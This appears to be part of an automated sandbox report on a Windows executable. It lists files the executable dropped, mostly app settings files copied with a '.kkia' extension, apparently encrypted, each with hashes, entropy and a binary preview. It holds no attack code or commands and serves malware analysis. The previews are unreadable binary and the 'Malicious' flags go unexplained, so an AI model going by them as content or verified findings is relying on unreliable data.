SSDEEP:	192:RKbv4ATIVK8PtkxVyoXxQ0c+18Q0negkVPjiU:RKbv4ATIxFgVyGxHci8Q0e17
MD5:	BD27ADE1A37B9F8002D3C60FA1E3351B
SHA1:	60765EA4E26E03FEE218B8C78703C533CBA80506
SHA-256:	D37DE447D7D39917AECA1ABE0B91D0EDF5165168090739388955223A50331DEE
SHA-512:	BF474B975ACA89A0B6A8C5E6CF75A0398E764A4C8CB9669C265C982127984773D3695AAE0D56D1BFF5FF2A7CEF99AFFF8BCE3308768A78D4AA8E8159A7AD05EC
Malicious:	false
Preview:	regf.`.%g.%.....B...J1....~S.cf)p.'.}....F.WUd$w..T.t>....+..ZQ.Qb.~S..;.MGL.k...IN..w/.....00......,.h..-.-.N..TK.....w...!..eJ.p.o'g...eL<.._..........[..+..QbT.[........ypJ.5..."..B2V.V.....".u.Q.%.....P..xX.Y.spw.^.R.....3.t....N...._.?..(A.Y....o..>..`y....<.7.4../.... .....>.....2...\|[l;..... .<3u3..Enp...V..XD.sn........\...T.b...?...........]?..lK...F.Z.l..e...;...op.%.......,...~1!.......<.E./.,$...HJZcH.l..B...fi...E.)x....:.C....6N3.....AAb%.7.pR. M..e.a.$8.+, ..w..?.3j...-../.{O...];..P...\|...T.....-....t.....'....pu..4D4..Zqr...BV.x.]...@B..<.!h.1.9..::......!.W.....U.V.R$s...{..8}2...!......=...........l.1.]...=..u.G}.}p.n.v#.......l.5L.YC0]t].jib%...W^....{..S.v.......\w.....j..>."..R,...Z..J....g.....1....W.D.f>.D.6...\..5.......{.._,.f..>>.N..b.L[.%6C.M...;.u!.-..v9yP....@...a..&.._.:x.#X..mC..6v.J+"D.Q.?...T....>..B.ag.so.(....)....^4v..E.....Z.R...a..P. ...^r_.4.>4.......=....BZ.v`...]...

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9804210046956445
Encrypted:	false
SSDEEP:	192:H5QoKQRVpgtwAwYGkqAylHZsV9GRe3HM2U2WqlP:WoKQRAtwAwLkqAkC9ke3s2JWYP
MD5:	E4CE9BE47EC50D14986B1E14CE8EEAD7
SHA1:	1088F6D9D1D2CDF1AF3915246BE8F47642D84A26
SHA-256:	70E2F6A3D43ED280D3BDE000BA133A7F539E47FF4A9D89601BA90974412A66F0
SHA-512:	6131A12C19D0C6069DE7002F22331433B5B143C89897703AA38800064D4F6048D43C4F14A193276DCD21D1E7B815D4BB33B5C7945703B7EBC2D4767BFD590729
Malicious:	false
Preview:	regf.aC...<.Qw.L.gB.`%....TY....>.U.5-?,\.H..I.!.!u....$'.)..L........-\.......l.H.@...h.fe.....2....:i.j.....d.M..N...h...Fh.H.N.....Z.....U`!...X.1oZ&.I....H...A.{C..;..{.P...p.JWv..Q...0.!&.]..Zv.0...1p...HT..I...tE..fo..Dv.b...d.(.~].q...L....^q?..h..N.VsK..$....P.{.>.F...%..SWK2.J5.Bv.@.;\|r.B((....,4...........\|..j..._v.....we.e....bU?......@.W.....8}.o.....K.t......YS.Y(....\.F..+.h...n.z.ZZ.z..T%...6.N2.G,.>.....x.rM.{..:.y".....L....\|..+.......\.........C..E....YK.....'.'Q.z..H.l..%.....R...+I1.9.....f....q.E..@.....(..25./.Rff<+..w..V9.e.....-.e.h..=a.T...$..}&...Z.~.uf..>3. ;...p[.C....;O..iyI$<..\|...%np.Je.D..................q7.C..Nb....Jg..ei. .Y...Z....3...3..../..=..2....g.-..oa../<..@Tb1...HB...%.B$*.b]...g^.u..M.-....E..0.f.]".[.....o.H$t....n...g..G.....$0.8...Q..4...c.[..T.......>..RI...d..]#.wt_.......]..v..A...+....pL..m.DW.....(...Y..^.@..C..XMB.....a....(6..q.R..WD..4{Y:......}xY.]..z...;..q....#.....e.i..v.

C:\Users\user\Local Settings\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979457625530795
Encrypted:	false
SSDEEP:	192:nwXWeRUzVL7g8+TZxUaC6lI8BwdG6Z9w/nMZoxR5Y5ygdRu3bKO4:n17R7g8HaC6j6w/nMsRqOWO4
MD5:	BD532140DDD01FE2723EFCA98DBBB814
SHA1:	A4EAEFBF485C3F289D1B476F23376E71033B5238
SHA-256:	9D96020D21C8CCC18F9013B44D512BD8DEFD02BDE2216A52C45E99FBC25ABF05
SHA-512:	6C132C1467287C6AE1B56AE98DC3FF7A8D141F633605440999DEBF3B02CEB2D3E8C7A52C3610706DE5D44BB3F28B93C34BAC312E04CF873808C8EB912C783633
Malicious:	false
Preview:	regf.+...Rk..>.c........:...Y...01..i...`v....5..{o(l..i7='............hrK,..-.b........\..y.......a..R].+.L.8N?`..i.c:).,o...r .0.2..%oy...6}..}.........P..(.T#}.t3.*..B...7...:..$c.....Xg....\|..k.A..a....@.o``...3m.'~z..+...2&M..J\|p..h..7...............f..$.^ia..ux......o..I..... ../....6..P.. w.6....._.W,.5..Y.........Yf]..s..)U(m.rd{v..}^...k....+.iB]..gQ.tl...1Q...<.-<F..V...+.".\.....Bq.....6..\|).q........}..6......mp..!......?.b..`...nx..o[Y-{....)^Up1Y[.N.\..}..........\|E.b..%h....a!................9....\;3.....0Q.&.]..)..........ZZv.Xy!..}.Y.......^./.........).!.J./...c..D.Xc...d.j..A5..Y.f1[.U...<.v.(.(....(...].....I...<.... ..\C.....8.6...Xb9.QG%7.......r.]....0#.8.Jo.7..t..H.Q.)L:.R.......ix...+=.1R.....5.F,....K....'T....Z.^...e..No...yYIrM'.5.K.:F.vT..2?NSX.p.Uob."Eu;T..;..@.......W.....\|DA....#-....'J.mpop.>....c[)WNx..n.........Z...W[..[.A./P-"......iU..xg..id....]..iI>......m.k6..+.N.h.W5?.j.2...03.]..J._o>..T.o..p.^..`$.Xu\.

C:\Users\user\Local Settings\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978446988115572
Encrypted:	false
SSDEEP:	192:rD4NhbU+tEOG6Hzd8aRIIVjBXMqM7hpUgfh1iwW4:chgaEwz68jM7jf9W4
MD5:	B3EC1F050969D327CCE01D81580E0F6F
SHA1:	40A5EEA42BB45A3A4A99AE8F89CDEF3D1094F201
SHA-256:	411334E0C6EC83A5B3BDFD828D3BFDC80BB70A6BFF156F157691C9301170ACF6
SHA-512:	8DEBD11DDCFDAEB4873C5B5BF4B1AFFE579F4C7BC3BDBD061C5E705DC5B7115144DE534392E806E3D1F8E2E458992D59D0B999B09971A87F66CC46ACA6456382
Malicious:	false
Preview:	regf.V..BJ...G.._.0.&..?2J.3aer.Y.^.._.4...Wx.4....ci8..Dm..uz.f=.48J......W...L....7q..v(.I.D$........{..1..;. ./k..=.&..(o...v...F...I..N{..k......u.'.v..I.h...z..~c........:.Zc5.kG../L2..P...2"..%...{].K2..V{...STT5..C.4......<....~.+.n.l0...m.o.v.........r.a..]G..F.h..Wt..Y.v.N._..L..E'..?..~.na..5J...76.d.._._..j.{..B.1.wx.20.6....OW.I.h...d<..$.....P.....q........<.3[.....a..^.3>qo.O....G....k ss.%...z.....B?=..[...=7../P./.}....B.B..>........@&.xf..6%....z?...u..H...0.....rQG.#....t..0.....@.t-.{......1......~...........r.).Q....v#.B4.k0.a].....<n....?Q....?..C.Jz.{f.M.}.s...K9.W.I.....G.(.M..k......SV..W....@...Io+c...4.b..y@.U.o(....5..l...`.M.[......n.........\|..........G.*.M..@.7..c.4..T.w....0LW....:.)..# ..$.....pI.+.....R.!.a.`.U.......%..D82..%...Y.KL.=A..7.R.......D.q.....H%q...P.f...@Xe...s..h...W.v.4.g........p.;L8z.....Lep/Hr..S.m.1.V...r..+a.m...D,p#.......,....;.a8....f...;.V.8.Jw.c.......k.w.QW./.s...3..M..

C:\Users\user\Local Settings\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980218694082996
Encrypted:	false
SSDEEP:	192:9Pu9S3ML+cIkZPt52H4GdcJ0zpJ0cwAV58VA13FA:9PR37cIkNt5Y4GdcJSJ0ewuq
MD5:	D4B82EFF1E51B97B824045696C6E2C3B
SHA1:	EC72BC25A53190594CDF57FD6F7214AC231E1EA3
SHA-256:	28DBE2A56BFF204551493A5D3B8C48F45697FB46937C69A16896BA7B84886922
SHA-512:	8E098942EC28F796FA669D9B8A743233AC082716435ABDAB64E0A26E336784281C5F0BB333EECD7DEFE54853DED0B1B4648F168138D90BA1D194D22922BA6BF0
Malicious:	false
Preview:	regf..E?.!.....p......9&."K.....7^.<..i...IPj.N.....?2%.........j.<.(.9.7......x.n.h.P..Jd.^....\|..(U....`W;).^..zm..,..A.!.....R3^t...Q..S...5....Nl..i.{.s.....&\G.../....e..>a.z../.zXq4.\.V...........[....=U.hR.6...N..g.;.=.c^..?..uG.....kU....c.@.A...o.........P@.\|..F....zYJ...M.(...Rwe.....V.6.!n.....6..9G.I.@?.1.k.D.RU.#`.M.v.R.B7......J~.^.WJ......M.....8....`"....$.....k...y..$....S..l....mm.../,...E94.A.m...B..c....O.nO3....m..'..9s...:8.......Z..O.MZ...!.V.\|7...F.b~Y.."..M.:.B.....0.xC~.4...$....^X........N.yaj.....d..0..).......Er:...(.h...=..%N.A.b.......X.0H.,5...."...Ddu.gAJW..l3......a..e..F`..)...CFo.....x...mXq....3...7..c.&..;..dn..B....k1...1.>... .dD.F..n.....y.Q4......\|X~..5...fE9.T....{...v....L&...Ais.:......../'@s.-".......N...Y.._.-'w..?"_ .%4..kCB=..".....$..>.U?4..%.[..V...y...+t..(......&.w..l.......R.~.&w...2..=.x...@j..."..^...j..w...}.2....~Y.C..tI....3Y....7TZ".......G..gI..:.dv.]......my..../...KrE.k.)

C:\Users\user\Local Settings\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980076054044688
Encrypted:	false
SSDEEP:	192:3ZrzTh8QcJrIuUP4JcTQIb6FWEjAR4eoljDCt4ZfdnFpeC:3ZrzThTcCubXIbMWfRHo1joC
MD5:	0BB192E062B64CC91C5754429C9D8909
SHA1:	58B1E2CE00D176262CC460A88D28F9B6F722AC09
SHA-256:	F27B955C572900B7F226201FA89A6A649A680DBAAE5D4214FD7EAFA35B602DFA
SHA-512:	F82F7BFB38E79DA45038B9BA3731A79AD3D0D4D0BE0272D693015BDAB824F6754080EF2E8973EB5869E4790F37DB5C0291C9BB018C4D408BA03E2A1646C9912D
Malicious:	false
Preview:	regf.D.[.4.V.lM.x.=-T)..%3v..pB...#.y.Cc.b.h,..:.F.(;L...Nqe.{...(=......Kj;6..l....ML....J...Q.IcK.D..#.a..\.n....6..[.3.....M.(v. ....{I..`QDYE...pH<d.....g.~..._I=De........s..O]V>.n..[.zC\q.x{...}s.0.Kl....n..`......9.....:Cd[.U....@....0'...8`yh..v.vV...x/,....8.`#;Jpt...hYQ"m..w.)..E.v.......,......&.'....A/.d...#.4..Wb.j.{...X..k.b=...qy..=...,...K!..{m.y........~.E.dS._..A>.......W.Jz..#~@h.. .bk...d.##R.".j$.5(......-..x.(.#...}....6.E..!..%.\p..Pp.S.A.n3......#.............H.A..N{x.6...:uA.......=...@......(.ip.y,Z.<...\|..x.1Yp..H..L.t.Y....d8.P.i...z]i.d...;{........ga..Q..?X..i[t.7...ev.\|F........d.%NJl.....:B.u(`.w.L......5.S.yRY.D.oR.a.....-.......K...M.Ad.a..E}<......(......#...u.....$t.6..~H..><.R.#w.i.+...[R...;.~......-m.z.G...wv.R........bF.z...&3.W...`4'.....Y..........;dIas.q.(i..I>."HU8V...,H.+..E.....S.=...7.Z`I.h%...P....[..bw._.4...4.d....j%...T-.K4...[r.t.....0.>k(..a?.....4...t\..M...8/i2P.

C:\Users\user\Local Settings\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976017320754502
Encrypted:	false
SSDEEP:	192:xBBCAzPImR6lLVymVOFV5S6bAiJ5FqBuoBMM0g7d1c:Lsz46PymOvbbZJLsbvd1c
MD5:	CCA7881CA7EB9B18969028EC15C1363F
SHA1:	E2D00621F1A5589DC371B51DA6B7233B6527E99F
SHA-256:	2297CCA0217A39462B075C6A86B3FB6AD8FCAE6B61429AC6021518F79CD849F0
SHA-512:	39E97986D57C44C6F0CA68869E6741CB3ABC1865D05969AF6241CDE6492FD95A520F4D3438CC10FCFDA1DB534CD6965A0552131F74D51AA750A23961C6DF9B20
Malicious:	false
Preview:	regf..p..X.. .Y.%X...\|.$..J..=...B.6sa....FO..Z....X..7.....vs`K...5qC...;.V...AJ..G..........9,y..H.......8....g.s..@..x.\.{h.=..\|.I.A.\_.0.j...?........... ....6%\....<..V......?.s.3.....'..A\...i.s.b.....\|...N.....a_-.,M.$..Z.tf..l/.:f.d.....`.2. .s..)....-A..c.T8.e...S_G.d<Ud. ..]..\|....(6R...`.=.\Iyv..fd.I.z.\|.j...I....k.+o.......IY5.f.2.<....Sq.../j..R+..._....O..2..b}C\|..x"....G..&!$......0..u.Z...8..L....>[O..9..l..e.I./.u..V..,..C.C....Q.,..nj....D.U.#...g.8. Z..f/.Ij...{1...L...Lk.\|.@\8.m...8a[...W..p.F.....5.<.fY=kY..^...0.~............<...[%...s.......,z....nC.g..C..3u.GE.....g..0p..1.<".S.k...tG../\n.....,... k...h^&.e.B...e..nS..u..~..% .%........-.._le. .FQ.:X..X!...,.0.G....E..3.z..Z...m\y.J1....W3f.E....m+.>.A....n ....GT..Q..j\.$n.....!i..)<G~.!$.6...j..5... ...kH.b..s.h....1y1..>.K..V.t..!...dB....+...[z.h.S\|.R.Hd,r.......,..F.v+y....H......!y..4..H.n..7.....O..y.l.....7....d).F...gj(vD.......\..:/........P.

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977846713322126
Encrypted:	false
SSDEEP:	192:VLW7sBoGGAoPtAKrANL8hRCvZUwlR0DR1WFzo:VExAoqKrbbCvCwlqDUo
MD5:	64A6AA873464FE13560DA7C5183CED12
SHA1:	D0D1A68E121C0E2942A04D8ECADBC8922E5C21A5
SHA-256:	088D0855E1492F5733315731016294F3F43B272FF02E5A6B660467142AE499B4
SHA-512:	73FCB39823568219FBA2A95C5AB38066FA76D12F9E92B1C660319ADFFDD13CF6CC6FDBE819FFE9F228BEDEE7FA619DB20B72485E17405DF813437226FBA333F9
Malicious:	false
Preview:	regf..z...GC.....+....)..4....V..Z.O3...7...S..#..C....O...'Ec...."....2..IBe......&.c..Z.M.....i..w....k..5..#X.&B=..jT1./.V..\F.t.ym........\|.l...WL..'.wE.-.x[.8...p..F.R.w..W.........#L..L.C....T:...\|....f.I..1.Yh.....c..3&.<....6......R..hr.&...."D...%.9.._#.......Q66.+..l}..J3.NQ3.X..'........:...eP./#....>...].<.y.jQ..v.D,......@uO.#l1hhX!.N....]j2#......,^/.S~..e\|....H...:..x.8[..I...wj.T..8.s...9DR.b..y^..7+.x....>... ..s.....#.X.a...Yo...x=... .......d%.oY4.....kO.X......~."5+........>.s-c....#.,q.U..M.._/...H.[.E..).c.z.k.X...'../!.....g.4F.c}h.X.s..r.\|..Y.......F...9..Lfy........0b$.....St.r..zk{.>\|...Km.T...t...v.h[P1..{RV...t..c......%h.4.ua:.n......4..A.!....n.:...\|T.dU`fbk..;;....Ff(8....L=...f..8..n.h........E...q..D.IX..;...v]...O$...J..%y.f-.6...v..T....!...`.(W.).n.%`.a%:Y...X....hq..K...h.S.\|...w.%..y.6i..d@.t).....m#.QM".2....h......\|h[..X.[x..4...\.d.....:WN.,.1(.C...*.^p.$...X....3s%Q.]"..w&..F..\...VP/....+...

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977780482217351
Encrypted:	false
SSDEEP:	192:8uOmG29htkRAEzaKmPSmEqZQ/OrAzBj+kBeqALcma28PcT:gmAA7SzqS/l8k4D+28PS
MD5:	DEB4C1A2D62C391FD199DDD933DA47A6
SHA1:	2E6F97BC18293A8D6452036BFD076B37C86CE657
SHA-256:	FE81D17164650222125CEC46C7C699580D0777B9B9B85AEC7D3ED6AF89835CBE
SHA-512:	219B5CD917234448A72C2684102F1E5ABB2A875579ABF38577D606922792914C15C717B116E6472C47ECB660CAD96576C47205590008E8E82A7322A27C72817A
Malicious:	false
Preview:	regf.."T.e.}..D....I.7.D@.j.......e...5....+.e.W....M,.}2..Vy.A...V..f.~t...8.f.tC."p...k...;Q.:.%.z._..z..>.<o'..%+.8..&K.K.l3.m.?1..".B....O+d.o..O.kHq.D1p[..'nY.!.hG'..No.xa.3v.../N$.....iS......J..*..~x.S......jMx.4..l.X.a..#.h$).....lnB......]M.m.d... ).7..=..b~. .Pmf..^d.W..2j.H9M./'.......hr.k.b[h..P..,m.a...w^.j.R=..%.)s.D....#e..l:J8..E...h..K4p[6.@.-G.....E8.....u\b....U.......W.!K](o......2.....a."._.m.6..>..smw.%.Lc....U../._.fK..O.ZF..t:_6.LIc.d....y..\EH.WL1..M.....G..Z.u1J..}<D....o..E#..c.......o5.....j.y.....L.6..M.....W..9+.-...m.:...l..]./M9.-9....K.V^&=Id(..W..T..a[..F4.[...M..ZH{.f.G.L....P.o...a.#+....f.l;....7.2.!.....[........x...LM....a...ke.w^q.........f.a....&.a.K.E..1...+..43..d...+.o2}.V....W..........j...$...@.A.....b.K...n=.7c...`.mx..1.....WfD4........^.g.)8S....o.O@;...Q..y:..Z.......)..,..Lf...-...[M.+..]..?.X}E,.N....UE'....O..E.?P....d..E.......e.....F.d.....D.[.^_..[..m5.xH\|NU.%......7.0..b(1 ...I._....l...

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.997994708962001
Encrypted:	true
SSDEEP:	1536:NlomjCA3m51ny9eWOwls4AYamKmVfQ9a7CuPvkYlxtH30ukaKDsn8fdWLKSFtLDd:iA3m188wVflVdhHLz0s8WVFtnWaeU
MD5:	E6C0C81EBDE5E28C41DB57E93CE7D205
SHA1:	AC41A4BD14FC2553E1A3885421675C075FD42797
SHA-256:	EBAA8086E928FDB3F7D3E0428641F5BE8AD7EEE2235C87BBC2A3C991C118BB43
SHA-512:	9558F1DFC749CE037F1931D3201124C4CC630A6C34B88DE6A52CD377FEB1F4E8B0CCA1BA3AE23ECE1016A0098489C66C2E3F896390695C80EE90F5702309D521
Malicious:	true
Preview:	<!doc.f5..".f3...-..SKL...+Y..D.Ku..{.......tH.U.F..s..k=.........%.a.7..........\|....>WXr....Qq..H_.m.{...e..F.....jt..3r.[cY.1.Z.<.S..7.R.g.....%.=.]dbq".MGb...j.Y......2..]....n.S$..!..}.m....Q......Mj..o...Zy%.Lc.c.....0....t......(K...O.N;..J..b8Z.l`...&$2.. ....h\~..`..s.Y.0.....R.....5.#".........".o..y.b.1.....@nv35..D.;.2..cRTx..b....~.......Y.....k`..`a..uK.#N....R...G.F...~X..<......)p..7...&/.....u...u....6($.d.q@....y...f.Y...U.&.+..-.#......R..d.}...k +.q......'@...-[...Z.^P.........P.j...<'$.5w6....(....h...M(i...>..(`..m.yC..(.[a...GU.'i...`~.....x.w.'..;.+.9\..Oc.D.........+.._..:...7a.)......1..R....uS.....K...7...pj..%...iY.i]....E.=.Rz.7...b!.e...?....V..&......].}......r.;.nI...8<D...._y=.v......j._f8.....I...=...2..#.nU._.f.......4F.M.......z.....O.....<7v;.......0.C..VL...5....q>....u...uR0qw.2%....@rV`CW.\|\|4.-q.o.g.9.-u...Q..pQ5..r.5.....n..D.O*...;.D=J..XU.W.b...$r.e..-5.YJ..gwEJ.QK...Y>yl.R./Z..W....!l1i,..

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97811163555121
Encrypted:	false
SSDEEP:	192:70Wq/MH9zS4qTM682TfdrQgZBZwKMBtbpk99Y7RDtPZsfj:IWq/MdzgTMNKfdxfQlk99Y75tPij
MD5:	1B7E3EC46C8DAEAAD79B597F0B7EDAB5
SHA1:	B8C7043D6BE4F4A608714213A16846929523C146
SHA-256:	7145B692863BF0C0FA60C8573A22AA2B64C64159554A30BFDAE19A10B17E20A8
SHA-512:	0F18523BA12AA916ED98537250975565F54621EC72477891C3947A2BF76864D1C1BCE134FA7C78B51C633781DE9CB3D9D7FA965FE4A0D25EBD8DE3CF6734A270
Malicious:	false
Preview:	regf...,....UB.hW.......?a......y...1c5..x.{c...a....uFk... '9..d+....eN..w ._A..............E...2.......~.7....N.......>),.wS..(b...o.Z....M..K...~..\lO.....:!jd....AQ.....:._.&J.D.B.pk......oS.IL......K..).N....``~f..A.<o.R..i^.Bq...xP..m 5.j..g....+5..K.Q.?..........T.v.....U.pDG&..Ce.Y....L..l.'...k...U...l.?O.tM"..........;.M.%H.$.iP}.K.O......0!...... .......8Z..1..n6..4 ....MN...E....i........H...,....cmW[..'..q..R....6&...<.........]......Sj!...\|..=....E..BF.X...8...q.....+.b7...t.B5.......U......c..O...BY..F?h..~..k.V.BK..C.Gw\Z.'..?..3J.n...V.+..!.^.I.D.e3.F...)....o1...tX~h.q.f.Nh._.Z..~..).A...MNb,.R..\..c.7.........a..1u.f$K..]........^.b..3y.%F!#x....;..KD..{1..5..[....m....4.I.......7If\|.r.....RX......d.....m6...z.....Q5...FpvP.c.\|.7."k9q..Cn.....E3...0A.A~B....Q...H..H=d.N..\._o..EHWI...p.s..fAw.h!...FpuTD....l+.......Q=.(.Q......&QC.Vl.......N.K.. .N.&..._...*....0.d.E....mG.g...[._...8t...s..."y.jh>x..H1.....,....I.3

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976514679422786
Encrypted:	false
SSDEEP:	192:aQNXIdwUOZmItTahpSFuTEwy5LD0lEVQwBRfX72Jd8eAplIZy:aQN4zOYETaVT4khwBRfCJd8pplI0
MD5:	8E72126A6843DC46B9E23ED615E95B7D
SHA1:	A25A909101D389EABBB4C566DAE82C4E96D94594
SHA-256:	F312AF39547D7A1F26E909381001F1F80AB6151DAF16C24D24CFB0CCF00E821D
SHA-512:	C21E1A15B58CC25A1DDD9A78996B03820CEDC69C0962C001B19768542DFDC69D8E60A35B5FED9847EEDFE0FD9CCCC9230DE9180411C2ED2FED72516C0C14FA87
Malicious:	false
Preview:	regf...v.:.:.w..!.X.i...y..$...Q........5...pn...Z...!....K~....r...j..........u.../ e.4.....:\..=...`C.......17.Wu..e.9.~".vS.Gw..~8ZV#...)...."...V...3..t.....HX:c.0.TP7..X.....L....l.d.^..Q9..\..G.Q..H...H...#.....z.6.._(..k^M..;.%gy.:.?..y...........=.....(=....c..+.hHN....7.....:....U...m.....U..2 q..Z....3.4...Y..,....d..r..........#z..i2(.a...hh;.......p.~%..0c..NA.,.QN...t..../.mz..&#.u.......z.1...~Y_...P.I.j..Z.Q.(..C......].\........e. ....\|.D...G.uI.........!....Q.w....]v&.d....=V..c.G.#.ZN.).5......%..='...J...-...A\./.T,q...UZ/...d%g....#..m........Z..M..W.5.....o...i.X7.\|..{.\|......l....[.:i...-(...s..>..=Bn...V...".X..C.....].\|W.....]vV...y&44.V..s...../.....0..Gt;F..O....Cf%...Bx....p.F.d....mY.....UJo.b. ..,5.8..(.C....zs{......d....a8-.v.m%!......J.0..in<...EF.q....Z..Wf..#M......&>.......\.fP./'.]...i.N0>..U.a.m... ....#"..?.~..O..^...(.].G...4&..,../.Rv.2.O.....P.K..)F..f`.....Cs..y_

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9761242918308275
Encrypted:	false
SSDEEP:	192:1u/Ly3q8QKKvmyXnERqVlhyoX+x17v4pODy:1E8eERaXAxZv45
MD5:	229F80EF6114D1E25962AB50F4B0416A
SHA1:	4380379D0FB6EB11CCF38FB76982FEA08F01C983
SHA-256:	F625C926DBFBAA4126C585BF214B04810DB64D5F677DD79AD520CEBC30F4223C
SHA-512:	135AAD6F4822499FE64B18CF4CF38244A30AFEA0B612344B6367740ABE26050D606B1B50AA9AC92085828EE78F48F7C068DFE20A3672504A71B7FB288C2D7C35
Malicious:	false
Preview:	regf.w.,.X..uX.!@...<m9.E.'.W2U..-."o.e..D.t,\..gI)..w..g.kk.7...+=h..qF..d$.x1C..D....\|-F.Ge.$.3S...E..c.a.C..4....kn..e{.&M..B..A....J_?T&...3..<.....Ong.d..bE2.d.....J.".y...f..+..2d...+;.........n.m@.. .zZ..B..99...BWM.fd.].l..ez..".{..\.y...F....I...h..W.`...~Q&<..l.c..i...sWhT.....;..(c.D.@6..R......?..VF. C..t..u..l..{..sW...............xu...).W.......z,f.[... @.r.CD..66.......9.:..>......t?....0Ibi.....NaR.U.....L.].#.5Z.%.z.............Q...Y.w.......8h%.\|.`......s....1%..3...7.7.....t..t.\,..p'Mq.l.y.U\1X..'n.gy.....Ci.1..T..O..<."..02.{..i..x....y\U...}H.Mt..:.....i.W..I.6!.k.]m.\9.(.......(....d9.@.....H.I...;...I=...M-..8....oN._l.)..;..{.mP.Pibz#m.y5...<.p,...@*..x..U.4R .+.auM..M..?.73.E.q..P...vR2B,..[.0NW..<....'V&+R.....H.[.h.....xs..../..G.......!...1.oGf.....%.I.........B.......W..r.vG.......J...........>}..8...-.U..0w?../.....%....k@..!..?..G...58.lf`.1.S.Z&..N..i.....m...>c.:..!.......n...Do@.Q.\|.{Y=.......M(..[.....

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978109816022505
Encrypted:	false
SSDEEP:	192:JG2sdbD3Kc7PlbqP/UraIWQmOS+vV75tkgor:82+3KUOn2WQDV7vkrr
MD5:	547B9CD0B4EE96D207596BB7734A0500
SHA1:	1DF4F928B819C2DBE8FAF9E67AF5039A4297D42E
SHA-256:	7D6F943E75633727013D34A2219BDF6F898EC020BE1FFDDB2ECCBA2C5C6BF2AF
SHA-512:	934EA371C922316687C806441296E5166E9EF996EEA6755E6D98E0D29126C1B3912116F95C83A6765D54877C8E797E2C8233560AA97E172193AB49F71A9FFEE5
Malicious:	false
